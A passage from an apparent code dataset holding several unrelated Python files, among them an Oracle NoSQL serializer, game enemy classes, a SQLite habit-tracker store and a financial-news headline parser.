BinaryProtocol.deserialize_consumed_capacity(bis, result)\n has_row = bis.read_boolean()\n if has_row:\n result.set_value(SerdeUtil.convert_value_to_none(\n BinaryProtocol.read_field_value(bis)))\n result.set_expiration_time(SerdeUtil.read_packed_long(bis))\n result.set_version(BinaryProtocol.read_version(bis))\n if serial_version > 2:\n result.set_modification_time(SerdeUtil.read_packed_long(bis))\n else:\n result.set_modification_time(0)\n return result\n\n\nclass GetTableRequestSerializer(RequestSerializer):\n\n def serialize(self, request, bos, serial_version):\n BinaryProtocol.write_op_code(bos, SerdeUtil.OP_CODE.GET_TABLE)\n BinaryProtocol.serialize_request(request, bos)\n SerdeUtil.write_string(bos, request.get_table_name())\n SerdeUtil.write_string(bos, request.get_operation_id())\n\n def deserialize(self, request, bis, serial_version):\n result = operations.TableResult()\n BinaryProtocol.deserialize_table_result(bis, result, serial_version)\n return result\n\n\nclass ListTablesRequestSerializer(RequestSerializer):\n\n def serialize(self, request, bos, serial_version):\n BinaryProtocol.write_op_code(bos, SerdeUtil.OP_CODE.LIST_TABLES)\n BinaryProtocol.serialize_request(request, bos)\n bos.write_int(request.get_start_index())\n bos.write_int(request.get_limit())\n # new in V2.\n SerdeUtil.write_string(bos, request.get_namespace())\n\n def deserialize(self, request, bis, serial_version):\n result = operations.ListTablesResult()\n num_tables = SerdeUtil.read_packed_int(bis)\n tables = list()\n count = 0\n while count < num_tables:\n tables.append(SerdeUtil.read_string(bis))\n count += 1\n result.set_tables(tables)\n result.set_last_index_returned(SerdeUtil.read_packed_int(bis))\n return result\n\n\nclass MultiDeleteRequestSerializer(RequestSerializer):\n\n def serialize(self, request, bos, serial_version):\n BinaryProtocol.write_op_code(bos, SerdeUtil.OP_CODE.MULTI_DELETE)\n BinaryProtocol.serialize_request(request, bos)\n SerdeUtil.write_string(bos, request.get_table_name())\n BinaryProtocol.write_durability(request, bos, serial_version)\n BinaryProtocol.write_field_value(bos, request.get_key())\n BinaryProtocol.write_field_range(bos, request.get_range())\n SerdeUtil.write_packed_int(bos, request.get_max_write_kb())\n SerdeUtil.write_bytearray(bos, request.get_continuation_key())\n\n def deserialize(self, request, bis, serial_version):\n result = operations.MultiDeleteResult()\n BinaryProtocol.deserialize_consumed_capacity(bis, result)\n result.set_num_deletions(SerdeUtil.read_packed_int(bis))\n result.set_continuation_key(SerdeUtil.read_bytearray(bis, False))\n return result\n\n\nclass PrepareRequestSerializer(RequestSerializer):\n\n # Prepare a query.\n def serialize(self, request, bos, serial_version):\n BinaryProtocol.write_op_code(bos, SerdeUtil.OP_CODE.PREPARE)\n BinaryProtocol.serialize_request(request, bos)\n SerdeUtil.write_string(bos, request.get_statement())\n bos.write_short_int(QueryDriver.QUERY_VERSION)\n bos.write_boolean(request.get_query_plan())\n\n def deserialize(self, request, bis, serial_version):\n result = operations.PrepareResult()\n BinaryProtocol.deserialize_consumed_capacity(bis, result)\n prep_stmt = PrepareRequestSerializer.deserialize_internal(\n request.get_statement(), request.get_query_plan(), bis)\n result.set_prepared_statement(prep_stmt)\n return result\n\n @staticmethod\n def deserialize_internal(sql_text, get_query_plan, bis):\n \"\"\"\n Extract the table name and namespace from the prepared query. This dips\n into the portion of the prepared query that is normally opaque.\n\n int (4 byte)\n byte[] (32 bytes -- hash)\n byte (number of tables)\n namespace (string)\n tablename (string)\n operation (1 byte)\n \"\"\"\n saved_offset = bis.get_offset()\n bis.set_offset(saved_offset + 37)\n namespace = SerdeUtil.read_string(bis)\n table_name = SerdeUtil.read_string(bis)\n operation = bis.read_byte()\n bis.set_offset(saved_offset)\n\n proxy_statement = SerdeUtil.read_bytearray_with_int(bis)\n num_iterators = 0\n num_registers = 0\n external_vars = None\n topology_info = None\n query_plan = None\n if get_query_plan:\n query_plan = SerdeUtil.read_string(bis)\n driver_plan = PlanIter.deserialize_iter(bis)\n if driver_plan is not None:\n num_iterators = bis.read_int()\n num_registers = bis.read_int()\n SerdeUtil.trace(\n 'PREP-RESULT: Query Plan:\\n' + driver_plan.display() + '\\n', 1)\n length = bis.read_int()\n if length > 0:\n external_vars = dict()\n for i in range(length):\n var_name = SerdeUtil.read_string(bis)\n var_id = bis.read_int()\n external_vars[var_name] = var_id\n topology_info = BinaryProtocol.read_topology_info(bis)\n return PreparedStatement(\n sql_text, query_plan, None, topology_info, proxy_statement,\n driver_plan, num_iterators, num_registers, external_vars,\n namespace, table_name, operation)\n\n\nclass PutRequestSerializer(RequestSerializer):\n \"\"\"\n The flag indicates if the serializer is used for a standalone request or a\n sub operation of WriteMultiple request.\n\n If it is used to serialize the sub operation, then some information like\n timeout, namespace and table_name will be skipped during serialization.\n \"\"\"\n\n def __init__(self, is_sub_request=False):\n self._is_sub_request = is_sub_request\n\n def serialize(self, request, bos, serial_version):\n op = SerdeUtil.get_put_op_code(request)\n BinaryProtocol.write_op_code(bos, op)\n if self._is_sub_request:\n bos.write_boolean(request.get_return_row())\n else:\n BinaryProtocol.serialize_write_request(request, bos, serial_version)\n bos.write_boolean(request.get_exact_match())\n SerdeUtil.write_packed_int(bos, request.get_identity_cache_size())\n BinaryProtocol.write_record(bos, request.get_value())\n bos.write_boolean(request.get_update_ttl())\n BinaryProtocol.write_ttl(bos, request.get_ttl())\n if request.get_match_version() is not None:\n BinaryProtocol.write_version(bos, request.get_match_version())\n\n def deserialize(self, request, bis, serial_version):\n result = operations.PutResult()\n BinaryProtocol.deserialize_consumed_capacity(bis, result)\n success = bis.read_boolean()\n if success:\n result.set_version(BinaryProtocol.read_version(bis))\n # return row info.\n BinaryProtocol.deserialize_write_response(bis, result, serial_version)\n # generated identity column value\n BinaryProtocol.deserialize_generated_value(bis, result)\n return result\n\n\nclass QueryRequestSerializer(RequestSerializer):\n\n def serialize(self, request, bos, serial_version):\n # write unconditional state first.\n BinaryProtocol.write_op_code(bos, SerdeUtil.OP_CODE.QUERY)\n BinaryProtocol.serialize_request(request, bos)\n bos.write_byte(request.get_consistency())\n SerdeUtil.write_packed_int(bos, request.get_limit())\n SerdeUtil.write_packed_int(bos, request.get_max_read_kb())\n SerdeUtil.write_bytearray(bos, request.get_cont_key())\n bos.write_boolean(request.is_prepared())\n # The following 7 fields were added in V2.\n bos.write_short_int(QueryDriver.QUERY_VERSION)\n bos.write_byte(request.get_trace_level())\n SerdeUtil.write_packed_int(bos, request.get_max_write_kb())\n BinaryProtocol.write_math_context(bos, request.get_math_context())\n SerdeUtil.write_packed_int(bos, request.topology_seq_num())\n SerdeUtil.write_packed_int(bos, request.get_shard_id())\n bos.write_boolean(request.is_prepared() and request.is_simple_query())\n if request.is_prepared():\n ps = request.get_prepared_statement()\n SerdeUtil.write_bytearray_with_int(bos, ps.get_statement())\n if ps.get_variables() is not None:\n variables = ps.get_variables()\n SerdeUtil.write_packed_int(bos, len(variables))\n for key in variables:\n SerdeUtil.write_string(bos, key)\n BinaryProtocol.write_field_value(bos, variables[key])\n else:\n SerdeUtil.write_packed_int(bos, 0)\n else:\n SerdeUtil.write_string(bos, request.get_statement())\n\n def deserialize(self, request, bis, serial_version):\n prep = request.get_prepared_statement()\n is_prepared = prep is not None\n result = operations.QueryResult(request)\n num_rows = bis.read_int()\n is_sort_phase1_result = bis.read_boolean()\n results = list()\n count = 0\n while count < num_rows:\n results.append(BinaryProtocol.read_field_value(bis))\n count += 1\n if is_sort_phase1_result:\n result.set_is_in_phase1(bis.read_boolean())\n pids = SerdeUtil.read_packed_int_array(bis)\n if pids is not None:\n result.set_pids(pids)\n result.set_num_results_per_pid(\n SerdeUtil.read_packed_int_array(bis))\n cont_keys = list()\n for i in range(len(pids)):\n cont_keys.append(SerdeUtil.read_bytearray(bis, False))\n result.set_partition_cont_keys(cont_keys)\n BinaryProtocol.deserialize_consumed_capacity(bis, result)\n result.set_continuation_key(SerdeUtil.read_bytearray(bis, False))\n request.set_cont_key(result.get_continuation_key())\n # In V2, if the QueryRequest was not initially prepared, the prepared\n # statement created at the proxy is returned back along with the query\n # results, so that the preparation does not need to be done during each\n # query batch.\n if not is_prepared:\n prep = PrepareRequestSerializer.deserialize_internal(\n request.get_statement(), False, bis)\n request.set_prepared_statement(prep)\n if prep is not None and not prep.is_simple_query():\n if not is_prepared:\n assert num_rows == 0\n driver = QueryDriver(request)\n driver.set_topology_info(prep.topology_info())\n driver.set_prep_cost(result.get_read_kb())\n result.set_computed(False)\n else:\n # In this case, the QueryRequest is an \"internal\" one.\n result.set_reached_limit(bis.read_boolean())\n topology_info = BinaryProtocol.read_topology_info(bis)\n driver = request.get_driver()\n if topology_info is not None:\n prep.set_topology_info(topology_info)\n driver.set_topology_info(topology_info)\n else:\n results = SerdeUtil.convert_value_to_none(results)\n result.set_results(results)\n return result\n\n\nclass SystemRequestSerializer(RequestSerializer):\n\n def serialize(self, request, bos, serial_version):\n BinaryProtocol.write_op_code(\n bos, SerdeUtil.OP_CODE.SYSTEM_REQUEST)\n BinaryProtocol.serialize_request(request, bos)\n SerdeUtil.write_string(bos, request.get_statement())\n\n def deserialize(self, request, bis, serial_version):\n return BinaryProtocol.deserialize_system_result(bis)\n\n\nclass SystemStatusRequestSerializer(RequestSerializer):\n\n def serialize(self, request, bos, serial_version):\n BinaryProtocol.write_op_code(\n bos, SerdeUtil.OP_CODE.SYSTEM_STATUS_REQUEST)\n BinaryProtocol.serialize_request(request, bos)\n SerdeUtil.write_string(bos, request.get_operation_id())\n SerdeUtil.write_string(bos, request.get_statement())\n\n def deserialize(self, request, bis, serial_version):\n return BinaryProtocol.deserialize_system_result(bis)\n\n\nclass TableRequestSerializer(RequestSerializer):\n\n def serialize(self, request, bos, serial_version):\n BinaryProtocol.write_op_code(bos, SerdeUtil.OP_CODE.TABLE_REQUEST)\n BinaryProtocol.serialize_request(request, bos)\n SerdeUtil.write_string(bos, request.get_statement())\n limits = request.get_table_limits()\n if limits is not None:\n bos.write_boolean(True)\n bos.write_int(limits.get_read_units())\n bos.write_int(limits.get_write_units())\n bos.write_int(limits.get_storage_gb())\n if serial_version > 2:\n bos.write_byte(limits.get_mode())\n if request.get_table_name() is not None:\n bos.write_boolean(True)\n SerdeUtil.write_string(bos, request.get_table_name())\n else:\n bos.write_boolean(False)\n else:\n bos.write_boolean(False)\n\n def deserialize(self, request, bis, serial_version):\n result = operations.TableResult()\n BinaryProtocol.deserialize_table_result(bis, result, serial_version)\n return result\n\n\nclass TableUsageRequestSerializer(RequestSerializer):\n\n def serialize(self, request, bos, serial_version):\n BinaryProtocol.write_op_code(\n bos, SerdeUtil.OP_CODE.GET_TABLE_USAGE)\n BinaryProtocol.serialize_request(request, bos)\n SerdeUtil.write_string(bos, request.get_table_name())\n SerdeUtil.write_packed_long(bos, request.get_start_time())\n SerdeUtil.write_packed_long(bos, request.get_end_time())\n SerdeUtil.write_packed_int(bos, request.get_limit())\n\n def deserialize(self, request, bis, serial_version):\n result = operations.TableUsageResult()\n # don't use tenant_id, but it's in the result\n SerdeUtil.read_string(bis)\n result.set_table_name(SerdeUtil.read_string(bis))\n num_results = SerdeUtil.read_packed_int(bis)\n usage_records = list()\n count = 0\n while count < num_results:\n usage_records.append(self._deserialize_usage(bis))\n count += 1\n result.set_usage_records(usage_records)\n return result\n\n @staticmethod\n def _deserialize_usage(bis):\n start_time_ms = SerdeUtil.read_packed_long(bis)\n seconds_in_period = SerdeUtil.read_packed_int(bis)\n read_units = SerdeUtil.read_packed_int(bis)\n write_units = SerdeUtil.read_packed_int(bis)\n storage_gb = SerdeUtil.read_packed_int(bis)\n read_throttle_count = SerdeUtil.read_packed_int(bis)\n write_throttle_count = SerdeUtil.read_packed_int(bis)\n storage_throttle_count = SerdeUtil.read_packed_int(bis)\n usage = TableUsage(start_time_ms, seconds_in_period, read_units,\n write_units, storage_gb, read_throttle_count,\n write_throttle_count, storage_throttle_count, 0)\n return usage\n\n\nclass WriteMultipleRequestSerializer(RequestSerializer):\n\n def serialize(self, request, bos, serial_version):\n put_serializer = PutRequestSerializer(True)\n delete_serializer = DeleteRequestSerializer(True)\n num = request.get_num_operations()\n\n # OpCode\n BinaryProtocol.write_op_code(\n bos, SerdeUtil.OP_CODE.WRITE_MULTIPLE)\n BinaryProtocol.serialize_request(request, bos)\n\n # TableName\n # If all ops use the same table name, write that\n # single table name to the output stream.\n # If any of them are different, write all table\n # names, comma-separated.\n if request.is_single_table():\n SerdeUtil.write_string(bos, request.get_table_name())\n else:\n table_names = \"\"\n for op in request.get_operations():\n if len(table_names) > 0:\n table_names += \",\"\n table_names += op.get_request().get_table_name()\n SerdeUtil.write_string(bos, table_names)\n\n # Number of operations\n SerdeUtil.write_packed_int(bos, num)\n\n # Durability settings\n BinaryProtocol.write_durability(request, bos, serial_version)\n\n # Operations\n for op in request.get_operations():\n\n # Abort if successful flag\n bos.write_boolean(op.is_abort_if_unsuccessful())\n req = op.get_request()\n if str(req) == 'PutRequest':\n put_serializer.serialize(req, bos, serial_version)\n else:\n assert str(req) == 'DeleteRequest'\n delete_serializer.serialize(req, bos, serial_version)\n\n def deserialize(self, request, bis, serial_version):\n result = operations.WriteMultipleResult()\n # Success flag\n succeed = bis.read_boolean()\n BinaryProtocol.deserialize_consumed_capacity(bis, result)\n if succeed:\n num = SerdeUtil.read_packed_int(bis)\n count = 0\n while count < num:\n result.add_result(self._create_operation_result(bis, serial_version))\n count += 1\n else:\n result.set_failed_operation_index(bis.read_byte())\n result.add_result(self._create_operation_result(bis, serial_version))\n return result\n\n @staticmethod\n def _create_operation_result(bis, serial_version):\n op_result = operations.OperationResult()\n op_result.set_success(bis.read_boolean())\n if bis.read_boolean():\n op_result.set_version(BinaryProtocol.read_version(bis))\n BinaryProtocol.deserialize_write_response(bis, op_result, serial_version)\n # generated identity column value\n BinaryProtocol.deserialize_generated_value(bis, op_result)\n return op_result\n","repo_name":"oracle/nosql-python-sdk","sub_path":"src/borneo/serde.py","file_name":"serde.py","file_ext":"py","file_size_in_byte":34458,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"78"} +{"seq_id":"43370089189","text":"from items import *\r\n\r\nclass base_enemy:\r\n def __init__(self):\r\n self.allegiance = \"enemy\"\r\n self.base_damage = 10\r\n self.health = 50 \r\n self.max_health = 50\r\n self.max_energy = 50\r\n self.energy = 50 \r\n self.skills = [] \r\n self.speed = 10\r\n self.defense = 1\r\n self.name = \"\"\r\n self.loot = []\r\n self.gold = 0\r\n self.statuses = []\r\n self.level = 0\r\n \r\n def print_stats(self):\r\n print(\"Base damage: \" + str(self.base_damage))\r\n print(\"Health: \" + str(self.health)) \r\n print(\"Special skill: \" + self.special_skill)\r\n print(\"Speed: \" + str(self.speed))\r\n print(\"Defense: \" + str(self.defense))\r\n\r\n def level_up(self):\r\n self.defense += 1\r\n self.max_health *= 1.1\r\n self.base_damage *= 1.1\r\n self.level += 1\r\n\r\n def __str__(self):\r\n return \"Lvl. \" + str(self.level) + \" \" + self.name\r\n\r\nclass Wolf(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.base_damage = 15\r\n self.allegiance = \"Wolfs\"\r\n self.name = \"Grey Wolf\"\r\n self.skills = [\"bite\"]\r\n self.speed = 15\r\n self.health = 50\r\n self.max_health = 50\r\n self.exp_granted = 80\r\n self.loot = [wolf_meat]\r\n\r\nclass Bear(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.allegiance = \"Bears\"\r\n self.name = \"Grizzly Bear\"\r\n self.skills = [\"trample\"]\r\n self.speed = 12\r\n self.base_damage = 20\r\n self.health = 150\r\n self.max_health = 150\r\n self.defense = 3\r\n self.exp_granted = 100\r\n self.loot = [bear_meat]\r\n\r\n\r\nclass Bandit(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.allegiance = \"Thieves Guild\"\r\n self.name = \"Sloppy bandit\"\r\n self.skills = [\"mug\"]\r\n self.speed = 11\r\n self.base_damage = 8\r\n self.health = 60\r\n self.max_health = 60\r\n self.defense = 3\r\n self.exp_granted = 40\r\n self.gold = 50\r\n self.loot = [dagger_0]\r\n \r\nclass Assassin(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.allegiance = \"Assassin's Guild\"\r\n self.name = \"Trained Assassin\"\r\n self.skills = [\"double attack\"]\r\n self.speed = 13\r\n self.base_damage = 40\r\n self.health =30\r\n self.max_health = 30\r\n self.defense = 2\r\n self.exp_granted = 75\r\n self.gold = 25\r\n self.loot = [dagger_1]\r\n\r\nclass Faye_Soldier(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.base_damage = 10\r\n self.allegiance = \"Faye, Main Character\"\r\n self.name = \"Guardian\"\r\n self.skills = [\"None\"]\r\n self.speed = 8\r\n self.health = 100\r\n self.max_health = 100\r\n self.exp_granted = 20\r\n\r\nclass Yeti(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.base_damage = 15\r\n self.allegiance = \"None\"\r\n self.name = \"Yeti\"\r\n self.speed = 9\r\n self.health = 200\r\n self.max_health = 200\r\n self.exp_granted = 250\r\n\r\nclass Unknown_1(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.base_damage = 1000\r\n self.allegiance = \"None\"\r\n self.name = \"0\"\r\n self.skills = [\"None\"]\r\n self.speed = 8\r\n self.health = 90\r\n self.max_health = 90\r\n self.exp_granted = 1000\r\n \r\nclass Trap_1(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.base_damage = 50\r\n self.allegiance = \"Traps\"\r\n self.name = \"Bear Trap\"\r\n self.speed = 100\r\n self.health = 1\r\n self.max_health = 1\r\n self.exp_granted = 0\r\n \r\nclass Red_Dragon(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.base_damage = 20\r\n self.allegiance = \"Dragons\"\r\n self.name = \"Jeldruss, Lord of the Red\"\r\n self.skills = [\"Scorched Earth\"]\r\n self.speed = 25\r\n self.health = 250\r\n self.max_health = 250\r\n self.exp_granted = 500\r\n \r\nclass Eagle(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.base_damage = 15\r\n self.allegiance = \"None\"\r\n self.name = \"Eagle\"\r\n self.skills = [\"Dive Up\"]\r\n self.speed = 17\r\n self.health = 40\r\n self.max_health = 40\r\n self.exp_granted = 30\r\n \r\nclass XP(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.base_damage = 0\r\n self.allegiance = \"None\"\r\n self.name = \"Dummy\"\r\n self.skills = [\"\"]\r\n self.speed = 0\r\n self.health = 10\r\n self.max_health = 10\r\n self.exp_granted = 100000000\r\n\r\nclass Giant(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.base_damage = 5\r\n self.allegiance = \"None\"\r\n self.name = \"Giant\"\r\n self.skills = [\"Shockwave\"]\r\n self.speed = 2\r\n self.health = 200\r\n self.max_health = 200\r\n self.exp_granted = 300\r\n \r\n\r\nclass Trap_9000(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.base_damage = 1000000\r\n self.allegiance = \"Traps\"\r\n self.name = \"Ultimate Trap\"\r\n self.speed = 100000\r\n self.health = 1\r\n self.max_health = 1\r\n self.exp_granted = 0\r\n \r\nclass Enemy_Scout(base_enemy):\r\n def __init__(self):\r\n super().__init__()\r\n self.base_damage = 15\r\n self.allegiance = \"None\"\r\n self.name = \"Turp's Scout\"\r\n self.skills = [\"Last Stand\"]\r\n self.speed = 12\r\n self.health = 100\r\n self.max_health = 100\r\n self.exp_granted = 120\r\n \r\n\r\n \r\n","repo_name":"DannyDengDev/Danny-s-Dungeon-Game","sub_path":"enemies.py","file_name":"enemies.py","file_ext":"py","file_size_in_byte":5867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3643200795","text":"import sqlite3\nfrom collections import defaultdict\nfrom contextlib import contextmanager\n\nfrom model import Rate, Question\n\n\nclass Storage:\n def __init__(self, db_path):\n self.db_path = db_path\n\n @contextmanager\n def get_cursor(self):\n conn = sqlite3.connect(self.db_path)\n try:\n cursor = conn.cursor()\n cursor.execute('PRAGMA foreign_keys = ON;')\n yield cursor\n conn.commit()\n except:\n conn.close()\n\n def init_db(self):\n with self.get_cursor() as cursor:\n cursor.execute(\n '''\n CREATE TABLE IF NOT EXISTS users\n (\n userid text PRIMARY KEY\n );\n '''\n )\n cursor.execute(\n '''\n CREATE TABLE IF NOT EXISTS rates\n (\n userid text,\n mydate text,\n kind text,\n rate integer,\n FOREIGN KEY (userid) REFERENCES users (userid) ON DELETE CASCADE,\n PRIMARY KEY (userid, mydate, kind)\n );\n '''\n )\n\n def get_rates(self, user, date_beginning, date_end):\n with self.get_cursor() as cursor:\n cursor.execute(\n '''\n SELECT mydate, kind, rate FROM rates\n WHERE userid = ?\n AND mydate >= ?\n AND mydate <= ?\n ''',\n (user, date_beginning, date_end)\n )\n return [Rate(user, date, kind, value) for date, kind, value in cursor.fetchall()]\n\n def avg_rate(self, user, kind, date_beginning, date_end):\n with self.get_cursor() as cursor:\n cursor.execute(\n '''\n SELECT AVG(rate) FROM rates\n WHERE userid = ?\n AND kind = ?\n AND mydate >= ?\n AND mydate <= ?\n ''',\n (user, kind, date_beginning, date_end)\n )\n return cursor.fetchall()[0][0]\n\n def store_rate(self, rate: Rate):\n with self.get_cursor() as cursor:\n cursor.execute(\n 'INSERT OR REPLACE INTO rates (userid, mydate, kind, rate) VALUES (?,?,?,?)',\n (rate.user, rate.date, rate.kind, rate.value)\n )\n\n def store_user(self, user):\n with self.get_cursor() as cursor:\n cursor.execute(\n 'INSERT OR IGNORE INTO users (userid) VALUES (?)',\n (user,)\n )\n\n def remove_user(self, user):\n with self.get_cursor() as cursor:\n cursor.execute(\n 'DELETE FROM users WHERE userid=?',\n (user,)\n )\n\n def get_users(self):\n with self.get_cursor() as cursor:\n cursor.execute('SELECT userid FROM users')\n return [row[0] for row in cursor.fetchall()]\n\n def get_stats(self, start_date, end_date, user_id):\n s, e = str(min(start_date, end_date)), str(max(start_date, end_date))\n start_date, end_date = s, e\n rates = self.get_rates(\n user_id, start_date, end_date\n )\n values_by_kind = defaultdict(list)\n for rate in rates:\n values_by_kind[rate.kind].append(rate)\n return values_by_kind\n\n\nQUESTIONS = [\n Question(\"качество еды\", \"избыточная\", \"здоровая\"),\n Question(\"сон\", \"недостаточный\", \"нормальный\"),\n Question(\"употребление алкоголя\", \"выпил много\", \"не пил\"),\n Question(\"физические нагрузки\", \"сидел весь день\", \"хорошо потренировался\"),\n]\n\n\ndef question_by_kind(kind):\n for q in QUESTIONS:\n if kind == q.kind:\n return q\n return Question('?', '?', '?')\n\n\ndef test_pls():\n s = Storage(':memory:')\n s.init_db()\n rate = Rate('u', 'ddd', 'my kind', 3)\n s.store_rate(rate)\n assert len(s.get_rates('u', 'a', 'b')) == 0\n r = s.get_rates('u', 'a', 'z')\n assert len(r) == 1\n assert r[0] == rate\n","repo_name":"uppi/foodtracker","sub_path":"storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"20431566110","text":"\nimport pathlib\nimport re\nfrom nltk import word_tokenize\nimport pprint\nimport pandas as pd\n\nimport preprocessing\n\nbase = pathlib.PosixPath('/Users/ozilman/NLP/finance_sentiment_proj')\n\n###############\n##\n## Reading and Processing ReutersNews Dataset\n##\n##############\ndef extract_header_from_news_item(file_path, header_re, date, headers):\n with open(file_path, \"r\") as fh:\n for line in fh:\n line = line.strip()\n if line.startswith(\"--\") or not line:\n continue\n header_match = header_re.split(line)\n if len(header_match) != 2:\n print(f\"Warning: Header line is not as expected. File: {file_path}. \\n Header line: {header_match}\")\n else:\n headers.append((date, header_match[1]))\n return\n\ndef parse_news_data():\n '''\n iterate over all news documents in subdirectories. Extract the \n header line from each document with 'extract_header_from_news_item' method.\n '''\n path = base /'financial-news-dataset' / 'ReutersNews106521'\n header_re = re.compile(\"^.*\\(\\s*\\w+\\s*\\) - \")\n headers = []\n for day_dir in path.iterdir():\n if not day_dir.is_dir():\n continue\n date = \"-\".join([day_dir.name[0:4], day_dir.name[4:6], day_dir.name[6:]]) \n for news_item in day_dir.iterdir():\n try:\n extract_header_from_news_item(news_item, header_re ,date, headers) \n except Exception as e:\n print(f\" File:{news_item}\\n {e}\")\n\n print(f\"Done parsing for date {date}.\") \n \n return headers\n\n\ndef get_sp500_ticker_names():\n payload = pd.read_html('https://en.wikipedia.org/wiki/List_of_S%26P_500_companies')\n sp500 = payload[0]\n sp500_history = payload[1] \n\n sp500_symbols_and_names = list(zip(sp500[\"Symbol\"], sp500[\"Security\"]))\n\n # Get also the tickers that were removed from S&P during and after the news article time span\n sp500_history = sp500_history.iloc[:,[0,3,4]]\n sp500_history.columns = ['date', 'removed_symbol', 'removed_security']\n sp500_history = sp500_history.assign(date = pd.to_datetime(sp500_history['date']))\n removed_tickers = sp500_history[sp500_history['date'] >= '2006-10-20'][['removed_symbol', 'removed_security']].dropna().to_records(index=False)\n removed_tickers = [ticker for ticker in removed_tickers if ticker[0] not in sp500[\"Symbol\"].values]\n sp500_symbols_and_names.extend(removed_tickers)\n\n # Make a mapping of ticker symbols to security names\n sp500_symbols_to_names = dict(sp500_symbols_and_names)\n return sp500_symbols_to_names\n\n\ndef get_relevant_news(symbols, security_names, headers):\n mentions_cnt = 0\n relevant_news = []\n for date, header in headers:\n header_tokenized = word_tokenize(header)\n if header_tokenized[0] == 'A':\n header_tokenized = header_tokenized[1:]\n for symbol in symbols:\n if symbol in header_tokenized or security_names[symbol] in header:\n #print(f\"Symbol: {symbol} -> Header: {header}\")\n mentions_cnt += 1\n relevant_news.append([date, symbol, 0, \" \".join(header_tokenized)])\n\n print(f\"Relvant news #: {mentions_cnt}\")\n return relevant_news\n\n\n#############\n##\n## Reading and processing FinancialPhraseBank\n##\n############# \n\ndef preprocess_doc(header, lemmatizer):\n ticker_re = preprocessing.get_ticker_re()\n remove_list = preprocessing.get_stop_words()\n header = preprocessing.remove_tickers(ticker_re, header)\n header = preprocessing.NER_processing(header)\n header_tokens = [word.lower() for word in word_tokenize(header)\n if word not in remove_list \n ]\n header_tokens = preprocessing.lemmatize(header_tokens, lemmatizer)\n return ' '.join(header_tokens)\n\n\ndef load_fin_pharsebank():\n path = base /'FinancialPhraseBank-v1.0' / 'Sentences_66Agree.txt'\n phrases = []\n labels = []\n euro_re = re.compile('(EURO?|euro?)\\s*\\d+\\s*([.,]\\s*\\d+\\s*)(mn|m)?\\s+')\n neg_percent_re = re.compile('-\\d+\\s*%')\n with open(path, 'r', encoding='latin-1') as fh:\n for line in fh:\n line = line.strip()\n phrase, sentiment = line.split('@')\n phrase = euro_re.sub(' 127 million dollars ',phrase)\n phrase = neg_percent_re.sub( ' percent ',phrase)\n if sentiment == \"positive\":\n phrases.append(phrase)\n labels.append(1)\n elif sentiment == \"negative\": \n phrases.append(phrase)\n labels.append(0)\n return phrases, labels","repo_name":"zilmano/nlp_financial_sentiment","sub_path":"data_read.py","file_name":"data_read.py","file_ext":"py","file_size_in_byte":4641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"41436899168","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.utils.data import Dataset, DataLoader\nimport torch.optim as optim\nimport os\nimport sys\nfrom gensim.models import KeyedVectors\nimport nltk\nfrom nltk.corpus import stopwords\n# import jieba\nimport numpy as np\n# import logging\nimport _public as pb\n# from progressbar import *\nfrom tqdm import tqdm\n# from time import sleep\n# import time\n# from bert_serving.client import BertClient\nimport random\nimport math\nimport copy\nimport scipy.stats as stats\nimport json\nimport jieba\nimport jieba.analyse\n\n\n\nclass Example:\n def __init__(self, text, label):\n self.text = text\n self.label = label\n self.fully_counterfactual_text = []\n self.partial_counterfactual_text = []\n\nclass MyAllDataset():\n def __init__(self, dataset_name):\n self.dataset_name = dataset_name\n self.train_examples = []\n self.dev_examples = []\n self.test_examples = []\n\n self.Read_Data()\n\n def Read_Data(self):\n # output dataset's name\n print('Dataset:{}'.format(self.dataset_name))\n pb.Print_Line(color='blue')\n\n if pb.EDA==False:\n train_datapath = './data/' + self.dataset_name + '.train.jsonl'\n else:\n pb.Print('pb.EDA=Ture', color='blue')\n train_datapath = './data/data.eda/' + self.dataset_name + '.train.eda.jsonl'\n dev_datapath = './data/' + self.dataset_name + '.dev.jsonl'\n test_datapath = './data/' + self.dataset_name + '.test.jsonl'\n\n # read data\n def Read_from_Datapath(data_path):\n examples = []\n for line in open(data_path).read().split('\\n'):\n if '{' in line:\n linemap = json.loads(line.lower())\n if len(linemap['text'].strip())>0 and len(linemap['label'].strip())>0:\n examples.append( Example(linemap['text'], linemap['label']) )\n return examples\n train_examples = Read_from_Datapath(train_datapath)\n dev_examples = Read_from_Datapath(dev_datapath)\n test_examples = Read_from_Datapath(test_datapath)\n\n pb.YList = sorted(list(set([example.label for example in train_examples+dev_examples+test_examples])))\n\n if pb.EDA==True:\n train_examples = self.Label_Balance(train_examples)\n\n # Conform\n def Conform_Dev_Test(dev_examples, test_examples):\n examples = dev_examples + test_examples\n label2examples = {}\n for example in examples:\n label = example.label\n if label not in label2examples:\n label2examples[label] = []\n label2examples[label].append(example)\n dev_examples_, test_examples_ = [], []\n for key in label2examples.keys():\n subexamples = label2examples[key]\n random.shuffle(subexamples)\n seperator = int(len(subexamples) / 2)\n dev_examples_.extend(subexamples[:seperator])\n test_examples_.extend(subexamples[seperator:])\n pb.Print('Dev and Test Conformed.', color='green')\n return dev_examples_, test_examples_\n dev_examples, test_examples = Conform_Dev_Test(dev_examples, test_examples)\n\n # analysis\n random.shuffle(train_examples)\n random.shuffle(dev_examples)\n random.shuffle(test_examples)\n trLen, deLen, teLen = 